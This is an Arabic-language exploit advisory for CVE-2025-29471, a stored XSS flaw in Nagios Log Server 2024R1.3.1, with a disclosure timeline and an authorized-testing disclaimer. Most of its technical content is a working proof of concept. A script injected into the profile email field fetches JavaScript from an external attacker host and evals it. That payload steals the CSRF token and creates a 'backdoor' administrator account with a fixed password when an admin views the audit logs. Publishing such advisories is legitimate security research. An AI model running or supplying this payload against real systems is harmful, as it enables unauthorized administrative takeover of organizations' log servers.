CVE-2025-29471

ثغرة XSS مخزّنة في Nagios Log Server (تصعيد الصلاحيات إلى مسؤول)

▶️ عرض توضيحي للاستغلال

التاريخ: 2025-04-02

مؤلف الاستغلال: Seth Kraft

الصفحة الرئيسية للمورّد: https://www.nagios.com/

سجل التغييرات للمورّد: https://www.nagios.com/changelog/#log-server

رابط البرنامج: https://assets.nagios.com/downloads/nagios-log-server/versions.php

الإصدارات المتأثرة: 2024R1.3.1 وما دونها

تم الاختبار على: Nagios Log Server 2024R1.3.1 (التكوين الافتراضي، Ubuntu 20.04)

معرّف CWE: CWE-79

الدرجة الأساسية: 8.3 (عالية)

سلسلة المتجه: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

النوع: البرمجة النصية عبر المواقع المخزّنة (XSS)، تصعيد الصلاحيات

---

التصريح

لأغراض الاختبار والبحث المصرّح به فقط. لا تختبر هذه الثغرة أو تستغلها على أنظمة لا تملكها أو لا تملك إذنًا صريحًا باختبارها.

---

الوصف:

تسمح ثغرة XSS مخزّنة في Nagios Log Server 2024R1.3.1 لمستخدم ذي صلاحيات منخفضة بحقن JavaScript ضار في حقل 'email' الخاص بملفه الشخصي.

عندما يعرض المسؤول سجلات التدقيق، يُنفَّذ الحمولة، مما يؤدي إلى تصعيد الصلاحيات عبر إنشاء حساب مسؤول غير مصرّح به.

---

إثبات المفهوم

1. استضف حمولة xss.js على خادمك الخارجي بالمحتوى التالي. يعمل GitHub بشكل جيد.

حدّث <target-ip> إلى عنوان IP/اسم المضيف الخاص بهدف Nagios Log Server.

(function() {
  console.log("🔥[XSS] Payload Executing...🔥");

  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
  console.log("[XSS] CSRF Token:", csrfToken);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&[email protected]" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(function(data) {
    console.log("🔥[XSS] User Created Successfully!🔥");
    console.log(data);
  })
  .catch(console.error);
})();

2. سجّل الدخول إلى Nagios Log Server كمستخدم عادي (غير مسؤول).

3. انتقل إلى نقطة نهاية تحديث الملف الشخصي:

   http://<target-ip>/nagioslogserver/profile/update

4. أدخل الحمولة التالية في حقل البريد الإلكتروني. حدّث سطر fetch بعنوان URL حيث يتم تخزين xss.js.

<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>

5. انتظر حتى يقوم أحد المسؤولين بعرض سجلات التدقيق. سيتم تنفيذ JavaScript، مما يؤدي إلى إنشاء حساب مسؤول جديد:

Username: backdoor

Password: Password123!

6. سجّل الدخول باسم backdoor مع صلاحيات مسؤول كاملة في Nagios Log Server.

---

الجدول الزمني للكشف

• 2025-02-07: أبلغ الباحث Nagios بالثغرة الأمنية
• 2025-02-14: أكّدت Nagios استلام تقرير الأمان
• 2025-03-03: طلب الباحث تحديثًا من Nagios
• 2025-03-10: طلب الباحث تحديثًا من Nagios
• 2025-03-17: تؤكد Nagios معالجة الثغرة الأمنية وأنه من المقرر إصدار إصلاح قريبًا
• 2025-03-19: تصدر Nagios الإصدار Nagios Log Server 2024R2
• 2025-03-27: اختبر الباحث وتحقّق من أن Nagios Log Server 2024R2 يعالج ثغرة XSS المخزّنة وأبلغ Nagios بذلك
• 2025-04-01: تحجز MITRE المعرّف CVE-2025-29471 لهذه الثغرة الأمنية من نوع XSS المخزّنة، لكن التفاصيل ظلّت غير منشورة بسبب غياب إشعار أمني عام من المورّد
• 2025-04-03: ينشر الباحث إثبات المفهوم (PoC) على ExploitDB لتلبية متطلبات الأدلة الخاصة بتخصيص معرّف CVE من MITRE.
• 2025-04-09: تصدر Nagios متابعة لإصلاح 2024R2 (2024R1.3.2) بنقل إصلاح الثغرة الأمنية من نوع XSS المخزّنة إلى فرع 2024R1
• 2025-04-15: تم نشر CVE-2025-29471 رسميًا

---

إخلاء المسؤولية

أُجري هذا العمل خارج نطاق عملي ويعكس جهودي الشخصية في أبحاث الأمن السيبراني.

---